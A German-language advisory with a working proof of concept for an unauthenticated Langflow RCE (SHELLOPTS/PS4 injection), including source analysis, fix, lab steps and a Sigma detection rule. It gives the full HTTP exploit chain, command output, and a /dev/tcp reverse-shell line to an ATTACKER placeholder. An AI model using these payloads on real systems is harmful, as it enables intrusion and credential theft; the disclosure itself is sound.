
CVE-2026-12940 — Langflow OSS <=1.10.1 nicht authentifiziertes RCE über MCP-stdio-Umgebungsvariablen-Injektion (SHELLOPTS/PS4). PoC des Autors + Quellcode-Analyse + Lab.
Nicht authentifizierte Remote-Codeausführung in Langflow
OSS bis einschließlich 1.10.1. Die Blockliste für Umgebungsvariablen, die die MCP-stdio-Serverkonfiguration
absichert (DANGEROUS_ENV_VARS), lässt SHELLOPTS, BASHOPTS und PS4 aus. Da der
MCP-stdio-Launcher den konfigurierten Befehl über bash -c ausführt, kann ein Angreifer
SHELLOPTS=xtrace zusammen mit einer PS4-Kommando-Substitution injizieren und beliebige Shell-Befehle
als Benutzer des Langflow-Prozesses ausführen — ohne gültigen MCP-Befehl, ohne Authentifizierung bei einer Standardinstallation.
| CVE | CVE-2026-12940 |
| Produkt | Langflow OSS |
| Betroffen | 1.0.0 – 1.10.1 |
| Behoben | 1.10.2 |
| Klasse | OS-Befehlsinjektion (CWE-78) über Umgebungsvariablen-Injektion |
| CVSS 3.1 | 9.8 KRITISCH — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (IBM CNA) |
| Authentifizierung | Nicht authentifiziert bei Standardinstallation (AUTO_LOGIN standardmäßig aktiviert in 1.10.1) |
| Status | BESTÄTIGT VERWUNDBAR — Ende-zu-Ende verifiziert auf langflowai/langflow:1.10.1 |
Langflow erlaubt es einem Benutzer, über POST /api/v2/mcp/servers/{name} externe MCP-stdio-Server
(Model Context Protocol) zu registrieren. Der Request-Body wird von MCPServerConfig
(src/backend/base/langflow/api/v2/schemas.py) validiert, das command, args und die
Umgebungsvariablen-Schlüssel genau prüft:
command muss in einer Allowlist enthalten sein (node, python, npx, uvx, docker, sh, bash…).args werden auf Shell-Metazeichen (;, |, $, `, (, ), …) und gefährliche
Schlüsselwörter (-c, eval, pip install, …) untersucht.DANGEROUS_ENV_VARS geprüft (LD_PRELOAD,
PATH, NODE_OPTIONS, PYTHONPATH, BASH_ENV, …).Zwei Lücken ergeben zusammen eine RCE:
Die Werte der Umgebungsvariablen werden nie bereinigt. Nur die Schlüssel werden gegen die
Blockliste geprüft; die Werte werden unverändert durchgereicht. Ein PS4-Wert von $(id)
überlebt also, obwohl exakt dieselben Zeichen innerhalb von args abgelehnt würden.
Die Blockliste ist unvollständig. In 1.10.1 enthält DANGEROUS_ENV_VARS shellopts,
bashopts oder ps4 nicht.
Der Launcher (src/lfx/src/lfx/base/mcp/util.py) führt dann unter Unix Folgendes aus:
env_data = {"DEBUG": "true", "PATH": os.environ["PATH"], **(env or {})}
server_params = StdioServerParameters(
command="bash",
args=["-c", f"exec {command_str} || echo 'Command failed with exit code $?' >&2"],
env=env_data,
)
Mit SHELLOPTS=xtrace aktiviert bash set -x beim Start und expandiert, bevor die erste
verfolgte Zeile ausgeführt wird, den PS4-Prompt. Die Kommando-Substitution innerhalb von
PS4 läuft daher sofort ab — unabhängig von command/args, die nicht einmal gültig sein müssen.
Die Blockliste wird in src/lfx/src/lfx/base/mcp/util.py als DANGEROUS_MCP_ENV_VARS zentralisiert
und erhält shellopts, bashopts, ps4 (zusätzlich env, als Defense-in-Depth). schemas.py
ruft nun is_dangerous_mcp_env_var() auf. Die unten gezeigte Registrierung wird auf 1.10.2 mit
HTTP 422 abgelehnt.
$ python3 exploit.py -u http://127.0.0.1:7860 --cmd "id > /tmp/proof 2>&1"
[*] target : http://127.0.0.1:7860
[*] PS4 : $(id > /tmp/proof 2>&1)
[+] obtained superuser token via /api/v1/auto_login (no credentials)
[+] registered MCP server 'saf550ddb' with SHELLOPTS/PS4 payload (HTTP 200)
[+] triggered launcher via GET /api/v2/mcp/servers?action_count=true (HTTP 200)
[+] payload PS4 executed on the server as the Langflow process user
$ docker exec lf-12940 cat /tmp/proof
uid=1000(user) gid=0(root) groups=0(root)
Die rohe HTTP-Kette:
GET /api/v1/auto_login HTTP/1.1 → 200, {"access_token":"…"} (default install, no creds)
POST /api/v2/mcp/servers/pwn HTTP/1.1
Authorization: Bearer <token>
Content-Type: application/json
{"command":"uvx","args":["mcp-server-fetch"],
"env":{"SHELLOPTS":"xtrace","PS4":"$(id > /tmp/proof 2>&1)"}}
→ 200 (accepted; LD_PRELOAD here → 422)
GET /api/v2/mcp/servers?action_count=true HTTP/1.1
Authorization: Bearer <token>
→ 200, launcher spawns bash → PS4 runs `id`
--ps4 bietet ein rohes Primitive für Reverse Shells / OAST-Callbacks:
python3 exploit.py --ps4 '$(exec 3<>/dev/tcp/ATTACKER/9001; echo pwned $(id) >&3)'
docker run -d --name lf-12940 --network host langflowai/langflow:1.10.1
# (this box has no docker bridge; --network host is required)
# Langflow comes up on http://127.0.0.1:7860 with default config
python3 exploit.py -u http://127.0.0.1:7860 --cmd "id > /tmp/proof 2>&1"
docker exec lf-12940 cat /tmp/proof
Grenze zur behobenen Version (abgelehnt):
docker run -d --name lf-patched --network host langflowai/langflow:1.10.2
# POST .../mcp/servers/pwn with SHELLOPTS → HTTP 422
# "Environment variable 'SHELLOPTS' is not allowed for security reasons"
Siehe EVIDENCE.txt für das vollständige aufgezeichnete Transkript und
ANALYSIS.md für den Walkthrough auf Quellcode-Ebene.
BESTÄTIGT VERWUNDBAR auf langflowai/langflow:1.10.1, verifiziert durch zwei unabhängige
Techniken:
uid=1000(user) gid=0(root) groups=0(root), die tatsächliche Ausgabe von
id(1), aufgelöst gegen die /etc/passwd des Zielsystems. Dies ist kein Echo der
Eingabezeichenkette $(id …).CALLBACK user@vbox 6.18.12+kali-amd64).GEPATCHT auf langflowai/langflow:1.10.2 — dieselbe Registrierung liefert HTTP 422.
Hinweis zur Behauptung „nicht authentifiziert“. Das 1.10.1-Image wird mit standardmäßig aktiviertem
AUTO_LOGINausgeliefert, sodass/api/v1/auto_loginjedem Aufrufer ohne Zugangsdaten ein Superuser-Token zurückgibt — genau das bewirkt, dass die gesamte Kette bei einer Standardbereitstellung ohne Authentifizierung funktioniert. Bei einer Instanz mit erzwungener Authentifizierung ist dieselbe RCE für jeden authentifizierten Benutzer mit gültigem Token/API-Schlüssel erreichbar (Übergabe über--token). Das 1.10.2-Image verlangt zudem Zugangsdaten zum Start — eine davon unabhängige Härtung.
Beliebige Befehlsausführung im Kontext des Langflow-Dienstkontos. Vollständiges Auslesen aller Geheimnisse, Zugangsdaten und Flows in der Langflow-Datenbank, Zugriff auf interne Dienste und Cloud-Metadaten sowie ein Pivot in das umgebende Netzwerk.
AUTO_LOGIN keinen nicht vertrauenswürdigen Netzwerken aus;
legen Sie explizite Superuser-Zugangsdaten an und deaktivieren Sie den Auto-Login.Achten Sie auf MCP-Server-Registrierungen, deren env Shell-Steuerungsvariablen enthält, sowie auf
bash-Kindprozesse des Langflow-Prozesses:
POST /api/v2/mcp/servers/* with a JSON body containing "SHELLOPTS", "BASHOPTS" or "PS4"
process: bash -c "exec …" parented by the langflow/gunicorn worker
Sigma (Prozesserstellung):
title: Langflow MCP stdio launcher shell-control env injection (CVE-2026-12940)
logsource: { category: process_creation, product: linux }
detection:
selection:
Image|endswith: '/bash'
CommandLine|contains: 'exec '
ParentImage|contains: 'langflow'
env_marker:
CommandLine|contains:
- 'SHELLOPTS'
- 'PS4=$('
condition: selection or env_marker
level: high
© Caio Fabrício (BiiTts).